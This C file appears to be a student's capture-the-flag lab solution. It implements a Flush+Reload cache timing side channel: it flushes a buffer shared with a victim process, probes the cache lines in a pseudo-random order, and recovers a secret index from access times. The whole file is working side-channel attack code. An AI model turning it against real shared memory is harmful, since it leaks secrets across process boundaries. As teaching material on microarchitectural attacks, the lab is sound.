#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

#include "util.h"

#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 1000
#define AVAR 1664525
#define CVAR 10020107
int main() {
    int index = -1;
    int flag = -1;
    int maybe_flag= -1;
    CYCLES time = -1;
    int offset = 0;
    int new_offset = 0;
    // buf is shared between the attacker and the victim
    char *buf = allocate_shared_buffer();

    // [2.1] TODO: Put your capture-the-flag code here
    for(int i = 0; i < 1024; i++) {
        clflush((ADDR_PTR)buf + i * 128);
    }
    for(int i = 0; i < WAIT_TIME; i++);
    for(int i = 0; i < 10000; i++) {
        new_offset = (AVAR * offset + CVAR) % 1024;
        if(offset == new_offset||offset-new_offset==1||offset-new_offset==-1) {
            offset = (offset + 712) % 1024;
        }
        else {
            offset = new_offset;
        }
        time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
        if(time < CACHE_HIT_THRESHOLD) {
            if(offset == maybe_flag) {
                flag = offset;
                index = i;
                break;
            }
            else {
                maybe_flag = offset;
            }
        }
    }
    printf("Flag: %d\n", flag);
    printf("Time: %d\n", time);
    printf("Index: %d\n", index);

    deallocate_shared_buffer(buf);
    return 0;
}